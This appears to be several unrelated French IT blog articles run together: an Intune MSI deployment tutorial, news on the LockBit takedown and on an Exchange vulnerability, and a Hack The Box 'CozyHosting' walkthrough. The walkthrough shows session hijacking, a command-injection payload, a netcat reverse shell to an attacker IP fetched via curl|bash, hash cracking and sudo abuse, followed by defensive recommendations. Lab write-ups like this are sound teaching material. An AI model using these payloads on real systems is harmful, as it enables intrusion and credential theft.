Dans ce tutoriel, nous allons apprendre à déployer une application au format MSI sur des appareils Windows 10 ou Windows 11, à l'aide de la solution Intune. Le format MSI est très apprécié par les administrateurs systèmes, car il permet de faciliter l'installation silencieuse des applications, contrairement au format EXE.
Sur les appareils Windows, Intune est capable de déployer des applications de différents types, notamment celles au format MSI par l'intermédiaire de ce qui est appelé les Applications métiers, Line-of-business app ou encore LOB app.
Pour être plus précis, la fonction de déploiement d'une application métier sur les appareils Windows proposée par Intune prend en charge les formats de fichiers suivants : .msi, .appx, .appxbundle, .msix et .msixbundle. Ceci pourra être utile pour les entreprises qui font eux-mêmes le packaging de certaines applications.
Note : vous pouvez également utiliser la méthode "Application Win32" pour créer un package intunewin qui contient un package MSI. Ceci permet d'avoir plus de souplesse, notamment pour s'appuyer sur un script de détection.
II. Télécharger les sources de l'application (7-Zip)
Pour cette démonstration, nous allons voir comment déployer l'application 7-Zip sur Windows à l'aide d'Intune. Vous pouvez utiliser une autre application telle que Google Chrome, via cette méthode. Si vous décidez de déployer Mozilla Firefox, utilisez plutôt la méthode "Application Win32", car avec cette méthode, il y a un problème de détection de la version.
Vous pourrez trouver le package MSI sur cette page :
Ensuite, nous devons identifier le nom du commutateur permettant d'effectuer l'installation silencieuse. Avec un package MSI, en règle général, il s'agit de l'un de ces commutateurs :
<nom du package>.msi /quiet
<nom du package>.msi /silent
<nom du package>.msi /S
<nom du package>.msi /q
Dans le cas présent, la bonne valeur est "/quiet" comme le montre l'aide associée à ce package MSI. Sinon, une recherche sur Internet, notamment sur le site de l'éditeur, peut permettre d'obtenir la bonne valeur.
Désormais, nous allons pouvoir passer sur le portail Intune.
III. Créer une application métier dans Intune
Connectez-vous le portail d'administration d'Intune et créez une nouvelle application métier :
Une fois connecté au portail Intune, naviguez sur l'interface de cette façon :
1 - Cliquez sur "Applications", puis "Windows".
2 - Cliquez sur le bouton "Ajouter".
3 - Un panneau latéral s'ouvre. Choisissez "Application métier" comme type d'application.
4 - Cliquez sur "Sélectionner".
À l'étape suivante :
1 - Cliquez sur le lien "Sélectionner un fichier de package d'application".
2 - Chargez le package MSI de 7-Zip, ou d'une autre application selon vos besoins.
3 - Cliquez sur "OK".
B. Informations sur l'application
L'étape "Informations sur l'application" sert à personnaliser le déploiement de l'application. Au-delà de pouvoir personnaliser le nom et la description, nous devons préciser le nom de l'éditeur, mais pas que ! En effet, j'attire votre attention sur les options suivantes :
Contexte d'installation d'application : cette application sera installée au niveau de la machine et sera disponible pour tous les utilisateurs. Dans certains cas, et selon le package MSI, cette option peut être grisée (avec une valeur prédéfinie).
Ignorer la version de l'application : cette option permet de ne pas tenir compte de la version de l'application, ce qui est utile pour les applications qui vont se mettre à jour automatiquement, comme Google Chrome.
Arguments de ligne de commande : c'est ici qu'il faut indiquer le(s) argument(s) associés à l'installation du package. Vous devez au moins indiquer le commutateur permettant d'effectuer une installation silencieuse, soit "/quiet" dans le cas présent.
Ce qui donne :
Cliquez sur "Suivant".
C. Affectations
Pour finir, affectez cette application aux appareils ou aux utilisateurs de votre choix, selon vos besoins. Comme pour les applications au format EXE, nous pouvons rendre cette application obligatoire, la proposer pour les appareils inscrits via le portail d'entreprise ou déclencher la désinstallation. Dans cet exemple, tous les appareils sont sélectionnés, car il s'agit d'un Lab.
Poursuivez jusqu'à la fin et finalisez la création de l'application.
D. Finaliser la création de l'application
Lorsque vous finalisez la création de l'application, le package MSI est chargé sur Microsoft Intune. Ceci peut prendre un peu de temps en fonction de votre débit et de la taille du package.
La nouvelle application apparaît bien dans la liste. Il ne reste plus qu'à tester !
IV. Tester le déploiement de l'application
Direction un appareil affecté par le déploiement de l'application 7-Zip pour faire un essai. Un redémarrage de la machine suffit pour lui demander de rafraichir ses stratégies. Assez rapidement, l'application 7-Zip fait son apparition sur la machine ! Mission accomplie !
V. Conclusion
En suivant ce tutoriel, vous devez être en mesure de déployer 7-Zip ou une autre application sur un ensemble d'appareils Windows 10 et Windows 11 inscrits dans Intune !
Je vous rappelle que le mode de déploiement "Application métier" d'Intune prend en charge plusieurs formats de fichiers : .msi, .appx, .appxbundle, .msix et .msixbundle.
L'énorme coup réalisé par les forces de l'ordre dans le cadre de l'opération Cronos se confirme : les clés de déchiffrement pour le ransomware LockBit sont entre les mains des autorités, ce qui va permettre de déchiffrer les données gratuitement !
L'opération Cronos est véritablement un coup d'arrêt pour le gang de cybercriminels LockBit. Au-delà d'être parvenu à arrêter les serveurs associés au site vitrine des malfaiteurs, les autorités sont parvenues à récupérer le code source du ransomware LockBit. Cette information a été confirmée par la National Crime Agency (NCA) du Royaume-Uni.
Comme on pouvait s'y attendre, d'autres détails sur cette intervention commencent à être diffusés. Tout d'abord, il faut savoir que les autorités ont pu arrêter 2 membres de LockBit en Pologne et en Ukraine. À cela s'ajoutent le gel de 200 comptes de crypto-monnaie liés au groupe de cybercriminels.
Un outil de déchiffrement est disponible !
Les autorités ont pu arrêter 34 serveurs utilisés par le gang de ransomware LockBit, sur lesquels ils sont parvenus à obtenir plus de 1 000 clés de déchiffrement ! Il s'agit d'une information capitale ! En effet, les autorités sont parvenues à créer un outil de déchiffrement pour LockBit 3.0 !
Le rapport mis en ligne par Europol précise : "Avec le soutien d'Europol, la police japonaise, la National Crime Agency et le Federal Bureau of Investigation ont concentré leur expertise technique pour développer des outils de déchiffrement destinés à récupérer les fichiers chiffrés par le ransomware LockBit".
Cet outil de déchiffrement pour LockBit 3.0 est disponible sur le site "No More Ransom" ! Il doit permettre la récupération des données chiffrées par le ransomware LockBit 3.0 sans avoir à payer la rançon ! D'après un rapport d'Eurojust : "Les attaques de LockBit auraient touché plus de 2 500 victimes dans le monde entier."
Nous ne sommes qu'au mois de février, et pourtant, il pourrait déjà s'agir du coup de l'année sur la scène de la cybersécurité ! Les autorités sont parvenues à mettre hors ligne le site de LockBit, qui est probablement le gang de cybercriminels le plus actif depuis plusieurs années. Faisons le point sur cette intervention !
Depuis le 19 février 2024, le site du gang de ransomware LockBit a été mis hors ligne ! Il était utilisé par les pirates comme vitrine puisqu'il servait à publier les noms des victimes, mais également les montants des rançons et les données volées dans le cadre des attaques.
Désormais, le site de LockBit ressemble à ceci :
Source : BleepingComputer
La National Crime Agency du Royaume-Uni s'est exprimée sur le sujet : "La NCA peut confirmer que les services de LockBit ont été interrompus à la suite d'une action internationale. Il s'agit d'une opération en cours et en développement."
En effet, les forces de l'ordre et organismes de 11 pays sont à l'origine de cette opération, nommée officiellement l'opération Cronos et menée à l'internationale. En effet, la France a participé par l'intermédiaire de la Gendarmerie Nationale, mais elle n'était pas seule puisque le FBI était aussi de la partie, accompagné par l'Allemagne, le Japon, la Suède, le Canada, ou encore la Suisse.
D'après le membre LockBitSupp, qui serait à la tête de LockBit et qui s'est exprimé par l'intermédiaire du service de messagerie Tox, le FBI est parvenu à accéder aux serveurs de LockBit à l'aide d'un exploit PHP. Les forces de l'ordre sont également parvenues à mettre hors ligne l'interface dédiée aux affiliés de LockBit. Un message indique que le code source de LockBit a pu être saisi (celui du ransomware ?), ainsi que des conversations et des informations sur les victimes.
Pour rappel, le gang de ransomware LockBit est à l'origine de plusieurs grandes cyberattaques, y compris en France :
Reste à savoir quel sera l'impact réel de cette opération sur les activités malveillantes menées par le gang de cybercriminels LockBit. N'oublions pas que LockBit est une véritable organisation criminelle, très bien organisée, avec des processus clairs, etc...
Les autorités devraient s'exprimer prochainement sur le sujet. Nous pouvons les féliciter pour cet excellent travail effectué dans la lutte contre le cybercrime !
Dans cet article, je vous propose la résolution de la machine Hack The Box CozyHosting, de difficulté "Facile".
Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelées "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le compte root ou administrateur.
Ces exercices permettent de s’entraîner légalement sur des environnements technologiques divers (Linux, Windows, Active directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (attaquants comme défenseurs) et sont très formateurs
Je vais ici vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant autant de conseils et ressources que possible. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.
Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".
Pour l'instant, nous ne disposons que de l'adresse IP de notre cible. Commençons par un scan réseau à l'aide de l'outil nmap pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.
Le site web exposé par le service web est un simple site vitrine :
Je commence par lancer l'outil nuclei qui va automatiser certaines tâches de découverte relatives à des CVE, framework ou mauvaises configuration spécifiques :
Le scanner web nuclei est toujours intéressant à utiliser, quelque soit votre niveau en test d'intrusion. Il est certes loin de proposer un audit complet d'une application web, mais permet de scanner vos sites web pour un diagnostic rapide et dégrossir rapidement un test d'intrusion en boite noire. Son fonctionnement par module communautaire et très complet pour un outil open source et il renvoie rarement de faux positifs.
Assez rapidement, celui-ci découvre plusieurs points d'entrées relatifs à Springboot. Il s'agit d'un projet du framework Spring qui fournit un ensemble d'outils et de conventions pour faciliter la création de services web, d'applications back-end et de microservices. Il vise à rendre le développement d'applications basées sur Spring plus rapide et facile.
Springboot Actuator est un ensemble de fonctionnalités permettant de surveiller les applications, de collecter des métriques et comprendre le trafic ou l'état de la base de données. Il s'agit plus précisément d'une dépendance utilisée par les développeurs qui utilisent ce framework de développement. Tout cela semble fort intéressant pour un développeur, mais est-ce qu'un visiteur externe a besoin d'y accéder ? La réponse est probablement non.
En étudiant les possibilités et point d'entrés d'Actuator, on remarque vite qu'il peut fournir à celui qui y accède un grand nombre d'informations sur l'application qu'il gère ou le serveur qui l'héberge. Le point d'entrée "/actuator/mappings" liste tous les points d'entrés disponibles :
On remarque notamment le point d'entrée "/actuator/session", toujours intéressant pour un visiteur anonyme :
Sans aucune authentification et en quelques requêtes, nous parvenons à récupérer un jeton de session valide sur la plateforme ciblée.
Lors d'une authentification réussie, l'application web fournit, en échange de la preuve (mot de passe) de l’identité déclarée (login), un jeton de session. Cela évite ainsi à l'utilisateur de s'authentifier sur chaque changement de page. Ce jeton de session sera unique par utilisateur et pour chaque connexion, avec une durée de vie limitée. Ainsi, le fait de fournir cette donnée unique à chaque requête plutôt que nos identifiants, permet au serveur de suivre notre session et de nous maintenir authentifié lors de la navigation.
Sur l'application web, on remarque notamment que si l'on tente une authentification sur la page "/login", un "JSESSIONID" nous est attribué :
Le menu que vous voyez apparaitre en bas de la capture d'écran ci-dessus est la barre développeur de Firefox. Il s'agit d'un outil présent sur tous les navigateurs récents. Elle propose un ensemble d'outils intégrés permettant aux développeurs web d'inspecter et de déboguer les pages et les échanges, ainsi que d'analyser les performances du site en temps réel. Elle offre des fonctionnalités telles que l'inspection d'éléments HTML, la modification en direct du CSS, le débogage JavaScript, le suivi du réseau et la mesure des performances.
Cela nous permet d'obtenir le nom du cookie à utiliser, il faut ensuite remplacer son contenu par l'un des jetons de l’utilisateur "kanderson" récupéré plus haut.
Après modification de notre cookie, nous devons rafraichir la page pour que le serveur web comprenne que nous sommes authentifiés. Nous voilà ainsi sur le point d'entrée "/admin" en tant que l'utilisateur "K. Anderson". Nous venons d'effectuer un vol de session ! Sans connaissance du mot de passe de l'utilisateur, nous récupérons l'élément qui permet à l'application web de suivre sa session.
C. RCE (Remote Commande Execution)
Nous pouvons à présent parcourir l'espace authentifié de l'application web. Cette fonctionnalité parait notamment intéressante :
Visiblement, nous pouvons spécifier un nom d'hôte et un nom d'utilisateur pour que l'application web s'y connecte. Autre fait intéressant, si l'on saisie des données qui ne sont pas conformes à ce que pourrait attendre ce genre de fonctionnalité, le contenu de l'aide de la commande SSH est retourné par l'application web :
Cela indique explicitement qu'une commande système est exécutée à l'aide des informations que nous saisissons.
Lorsque de la réalisation d'une attaque sur une application web, la saisie de données non conformes ou mal formatées est l'une des opérations de base à réaliser. Cela permet de voir si l'application web ciblée a été correctement développée afin de gérer les entrées utilisateurs, et notamment de s'assurer que celles-ci sont conformes à ce qui est attendu d'un point de vue logique (présence de caractères spéciaux dans un nom de domaine ?) ou métier (l'adresse mail saisie existe-t-elle vraiment ? Prix négatif ?).
L'objectif de l'attaquant est alors de tenter de faire apparaitre des erreurs, parfois verbeuses, pouvant faire fuiter des informations (framework/technologie utilisée, contexte d'exécution) ou trahir un manque de filtrage ou de contrôle des entrées utilisateur.
Ainsi, nous savons à présent que nos entrées sont insérées dans une commande système (Bash), et non plus simplement dans une variable d'un langage de développement web (PHP, Java, autre) ou une base de données. C'est une information très intéressante pour un attaquant, car s'il parvient à manipuler correctement cette commande, il pourra exécuter ses propres commandes sur le système.
Supposons que nos entrées "host" et "username" soient insérées dans une commande SSH comme celle-ci :
ssh username@host
Alors, nous pourrions insérer n’importe quelle commande dans cette commande SSH à l'aide d'une variable "host" comme celle-ci :
host = 127.0.0.1;whoami
username = john
ssh john@127.0.0.1;whoami
Tentons de vérifier notre hypothèse :
Cela ne fonctionne pas, l'application web semble vérifier la cohérence du paramètre "hostname" reçu. Voyons si c'est également le cas avec le "username" :
Si l'on regarde attentivement le message d'erreur, nous comprenons qu'il s'agit en fait de deux messages distincts. Cela valide notre supposition initiale, au moins pour le paramètre "username". Voici précisément ce que donne notre injection
ssh john;whoami@127.0.0.1
# Détail des message d'erreurs
ssh john # ssh : Could not resolve hostname john : Temporary failure in name resolution
whoami@127.0.0.1 # /bin/bash: line1 : whoami@127.0.0.1: command not found
Étant donné que nous avons inséré un caractère de chainage de commande sous Linux (le point-virgule), nous avons maintenant deux commandes. Cependant, aucune des deux n'est réellement valide. Maintenant que nous avons validé la possibilité d'une injection de commande, nous devons produire quelque chose d'utile et de fonctionnel pour un attaquant. Au moins une de nos deux commandes doit pouvoir être exécutée sans erreurs.
Je décide d'utiliser pour cela une substitution de commande, qui permet sous Linux d'utiliser le résultat d'une commande comme argument pour une autre commande :
# Poste attaquant
# Création d'un script reverse shell
$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.162 9001 >/tmp/f" > x
# Mise en en écoute d'un service web
python3 -m http.server
# Mise en écoute d'un netcat (port 9001)
$ nc -lvp 9001
Mon idée ici est de générer le téléchargement, puis l'exécution d'un script Bash qui contient des instructions pour monter un reverse shell en direction de mon système d'attaque.
Un reverse shell est une suite d'intrusion exécutée pour qu'un système compromis se connecte à un serveur distant contrôlé par l'attaquant, permettant ainsi à ce dernier d'obtenir un accès à distance à la machine compromise. Cette technique est souvent utilisée pour contourner les pare-feu et établir une communication secrète, rarement journalisée (à l'inverse d'une connexion SSH par exemple).
Voici la requête web utilisée pour l'exploitation :
Ici, on voit la substitution à l'intérieur du "$( )". Le système Linux va d'abord "résoudre" cette substitution avant d'insérer le résultat de la commande dans le "username" de la commande SSH. Vous noterez également la présence d'un "${IFS}", qui permet d'insérer un espace sans utiliser l'espace. Ainsi, même si le "username" de la commande SSH est mal formaté et entraîne une erreur, la substitution sera exécutée avant et l'erreur de la commande SSH n'aura aucun impact sur mon exploitation.
Enfin, le fait d'utiliser "curl http://IP/script|bash" permet de télécharger et exécuter un script Bash sans dépôt sur le système. J'utilise cette astuce pour éviter de m'embêter avec les nombreux caractères spéciaux de ma commande reverse shell, qui peuvent être à manipuler correctement pour passer l'encodage/décodage par le client, le service et l'application web.
# Récepetion du reverse shell sur le poste attaquant
$ nc -lvp 9001
connect to [10.10.14.162] from cozyhosting.htb [10.10.11.230] 42102
app@cozyhosting:/app$
À présent, nous avons à notre disposition un shell interactif en tant que l'utilisateur "app" le serveur attaqué.
Nous venons de le voir, les attaque de type RCE (Remote Command Execution) sont parmi les plus critiques qui puissent exister au sein d'une application web. Elles permettent d'exécuter du code sur un serveur web qui héberge l'application web, avec les droits du service web. Ainsi, nous pouvons nous affranchir des limitations imposées par nos droits applicatifs ou les fonctionnalités de l'application.
D. Récupération d'identifiants
Nous avons un premier accès au serveur, pour aller jusqu'au bout, nous devons passer root ! Nous pouvons simplement commencer par quelques opérations de découverte basique sur le serveur :
Quels sont nos droits et groupes ?
app@cozyhosting:/app$ id
id
uid=1001(app) gid=1001(app) groups=1001(app)
Existe-t-il des services accessibles qu'en interne ?
netstat -petulan |grep "LISTEN" |grep "127.0.0"
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN 102 21525 -
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN 114 22278 -
tcp6 0 0 127.0.0.1:8080 :::* LISTEN 1001 23652 1065/java
Quels fichiers intéressants pouvons-nous lire ?
app@cozyhosting:/app$ ls -al
ls -al
total 58856
drwxr-xr-x 2 root root 4096 Aug 14 14:11 .
drwxr-xr-x 19 root root 4096 Aug 14 14:11 ..
-rw-r--r-- 1 root root 60259688 Aug 11 00:45 cloudhosting-0.0.1.jar
Après quelques recherches, je découvre le fichier "cloudhosting-0.0.1.jar", il s'agit probablement du site web qui expose le site vitrine vu précédemment. Je décide de l'exfiltrer du serveur pour étude en local :
Une archive JAR est un conteneur de fichiers Java, regroupant des classes et des ressources, facilitant le déploiement et l'exécution d'applications Java. Elle permet de compresser et d'organiser des éléments liés au code source notamment pour favoriser la portabilité et la distribution des programmes .
Une simple recherche via grep dans les fichiers composants de l'archive ".jar" nous permet de retrouver des identifiants correspondants à une base de données :
À la suite de notre découverte des services en écoute interne, nous avons identifié un service PostgreSQL. Nous pouvons probablement nous y authentifier avec les identifiants découverts :
app@cozyhosting:/app$ psql -h 127.0.0.1 -U postgres -c "\list"
psql -h 127.0.0.1 -U postgres -c "\list"
Password for user postgres: Vg&nvzAQ7XxR
Une découverte des bases de données, tables et données accessibles nous permet de découvrir une table intéressante :
Cette table contient deux comptes utilisateur, ainsi que le hash de leur mot de passe.
select * from users;
name | password | role
-----------+--------------------------------------------------------------+-------
kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
Nous utilisons à présent John The Ripper pour tenter de casser ces hash à l'aide du dictionnaire de mot de passe rockyou.txt :
$ john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt /tmp/y
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (?)
Le préfixe "$2a$" dans le contexte des hachages de mots de passe fait référence à la version "2a" de l'algorithme de hachage Blowfish utilisé avec la fonction de hachage de mots de passe bcrypt. Mais, c'est une information que John The Ripper sait traiter de façon autonome pour adapter son attaque.
Le cassage de hash de mot de passe bcrypt par dictionnaire avec John the Ripper implique l'utilisation d'une liste de mots prédéfinis (dictionnaire) pour tenter de trouver une correspondance avec les hachages bcrypt. John the Ripper génère les hachages correspondants aux mots du dictionnaire et compare ensuite avec le hash cible. Si les hashs correspondent, alors le hash est considéré comme cassé et l'on connait le mot de passe d'origine.
Bingo ! Nous parvenons à casser le hash du mot de passe de l'utilisateur "admin" !
Étant donné que nous avons un accès au serveur, nous pouvons accéder en lecture au fichier "/etc/passwd", ce qui nous permettra d'avoir une liste d'utilisateur sur lequel tester notre mot de passe :
Nous pouvons maintenant, entre autres, lister les dérogations d'exécution via sudo accordées à cet utilisateur :
josh@cozyhosting:~$ sudo -l
[sudo] password for josh:
(root) /usr/bin/ssh *
Intéressant, cet utilisateur peut exécuter la commande SSH en tant que root. Nous pouvons utiliser la ressource gtfobins.sh pour connaitre les éventuels abus existant sur cette commande : https://gtfobins.github.io/gtfobins/ssh/#sudo
Nous pouvons visiblement utiliser l'option "Proxycommand" pour exécuter une commande en tant que root. L'option ProxyCommand dans la commande SSH permet de spécifier une commande qui sera utilisée pour établir une connexion à un hôte distant. Elle est utile pour traverser un proxy/rebond avant d'atteindre la destination finale. Ici, nous utiliserons l'option pour avoir un shell interactif, encore une fois grâce à un chainage de commande :
Une fois de plus, nous parvenons à abuser de la dérogation de droit sudo pour exécuter autre chose que la commande autorisée. Cela nous permet d'obtenir les droits root sur le serveur.
III. Résumé de l'attaque
Voici une description de l'attaque réalisée en utilisant les TTP (Tactics, Techniques and Procedures) du framework MITRE ATT&CK :
Abus de la dérogation de droits sudo accordée à l'utilisateur josh sur la commande SSH.
IV. Notions abordées
A. Côté attaquant
L'utilisation de nuclei nous a fait gagner un temps certains ici. Bien qu'il ne soit pas du tout recommandé de baser notre analyse et nos tests uniquement sur ce genre d'outils automatisés, il faut savoir en tirer parti, car ils présentent certains avantages. Notamment, ils peuvent rapidement tester des éléments très spécifiques autour d'une CVE (même ancienne) ou d'une mauvaise configuration. Ils peuvent aussi passer à côté de vulnérabilité très basiques qui dépendent plus du contexte applicatif. Il faut donc utiliser ces outils intelligemment...
Nous avons également vu dans cet exercice la dangerosité des vulnérabilités de type RCE (Remote Command Execution) et un exemple scolaire d'exploitation de celle-ci. Si l'on s'intéresse au code applicatif ayant mené à cette vulnérabilité (car nous avons l'archive ".jar" à présent), nous pouvons retrouver le code suivant :
Nous voyons ici l'utilisation de "Runtime.getRuntime().exec()" pour exécuter des commandes système en Java. Également, on remarque les fonctions "validateUserName", qui vérifie simplement la présence d'un espace, et "validateHost", qui repose sur une expression régulière et un pattern plus complexe (je n'ai pas précisément étudié le pattern), ce qui correspond à nos observations "boite noire" (sans le code sous les yeux).
B. Côté défenseur
Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :
Recommandation n°1 : la première recommandation est bien sûr de rendre inaccessible le point d'entrée "Actuator" aux visiteurs non authentifiés. Ce genre d'information ne doit être visibles qu'aux développeurs. Si celles-ci ne sont pas activement utilisées, il est recommandé de désactiver "Springboot Actuator" sur les environnements en production.
Recommandation n°2 : il est recommandé de renforcer la sécurité applicative, et notamment le contrôle des entrées utilisateurs sur la fonctionnalité "/executessh". La fonction "validateUsername" doit vérifier l'absence de tout caractère spécial susceptible de causer des erreurs ou d'être utilisés pour du chainage et de la substitution de commande. Des ressources de l'OWASP peuvent ici être mises en référence (OS Command Injection Defense Cheat Sheet, OWASP Testing Guide v4.2 - Testing for Command Injection). Pour prendre un peu de recul, la mise en place d'un pare-feu applicatif (WAF ou Web Application Firewall) peut également être recommandée. Celui-ci, s'il est bien configuré, permettra de freiner la démarche de l'attaquant sur les exploitations basiques telles qu'observées ici, voire de lever l'alerte auprès des équipes de sécurité.
Recommandation n°3 : la troisième recommandation porte encore une fois sur "sudo". Si non justifiée par un besoin métier, il est recommandé de supprimer la dérogation "sudo" en place, car la commande concernée peut être utilisée pour exécuter d'autres commandes avec les droits "root". Si elle est justifiée par un besoin métier, il peut être recommandé de passer un script ou un binaire (non modifiable bien entendu) qui restreindra l'utilisation des options de la commande SSH, voir contiendra uniquement quelques commandes pré-enregistrées. L'essentiel est de réduire la marge de manœuvre de l'utilisateur sur l'utilisation de la commande SSH. Le chapitre "6.3 Contrôle d'accès" du guide Recommandations de sécurité relatives à un système GNU/Linux de l'ANSSI contient un ensemble de bonnes pratiques autour de la configuration sudo.
J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord!
Enfin, si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points ) : Tester Hack the Box Academy
À l'heure où ces lignes sont écrites, il y a au moins 28 500 serveurs de messagerie Exchange vulnérables à la nouvelle faille de sécurité critique CVE-2024-21410 patchée la semaine dernière par Microsoft. En réalité, le nombre de serveurs vulnérables pourrait être beaucoup plus élevé. Faisons le point !
À l'occasion de son Patch Tuesday de Février 2024, Microsoft a corrigé 73 failles de sécurité, ainsi que plusieurs failles zero-day. C'est notamment le cas de la CVE-2024-21410, car cette vulnérabilité présente dans Microsoft Exchange Server a été exploitée par les pirates en tant que faille zero-day avant qu'elle ne soit patchée.
Associée à un score CVSS v3.1 de 9.8 sur 10, cette faille de sécurité critique permet à un attaquant non authentifié d'élever ses privilèges en s'appuyant sur une attaque par relais NTLM ciblant un serveur Microsoft Exchange vulnérable.
Comme souvent, le service de monitoring The Shadowserver a mis en ligne quelques statistiques intéressantes pour nous indiquer combien il y a de machines potentielles vulnérables. Les serveurs Exchange étant, généralement, exposés sur Internet, il est possible de les sonder et de récupérer le numéro de version.
Ainsi, sur un total de 97 000 serveurs Exchange identifiés, il y a 28 500 serveurs qui sont vulnérables à la vulnérabilité CVE-2024-21410. Pour environ 68 500 serveurs, l'état est inconnu puisque cela dépend si les administrateurs ont appliqué ou non les mesures d'atténuation. Nous pouvons imaginer que c'est le cas pour une partie des serveurs, mais pas pour tous... Ce qui augmente forcément le nombre de serveurs vulnérables.
La France, dans le Top 5
En ce qui concerne les pays avec le plus de serveurs Exchange vulnérables, The Shadowserver a publié une liste sur cette page. Voici le Top 5 :
Pays
Nombre d'adresses IP uniques
Allemagne
22 903
États-Unis
19 434
Royaume-Uni
3 665
Pays-Bas
3 108
France
3 074
Nous savons que cette vulnérabilité est exploitée dans le cadre d'attaques. À l'heure actuelle, aucun exploit PoC public semble être disponible. Pour autant, il convient de se protéger dès que possible.
Comment se protéger ?
Sur Exchange Server 2019, vous devez installer la Cumulatice Update 14 (CU14) pour vous protéger. Pour en savoir plus sur cette vulnérabilité, et savoir comment se protéger sur les différentes versions d'Exchange Server, consultez notre article ci-dessous :
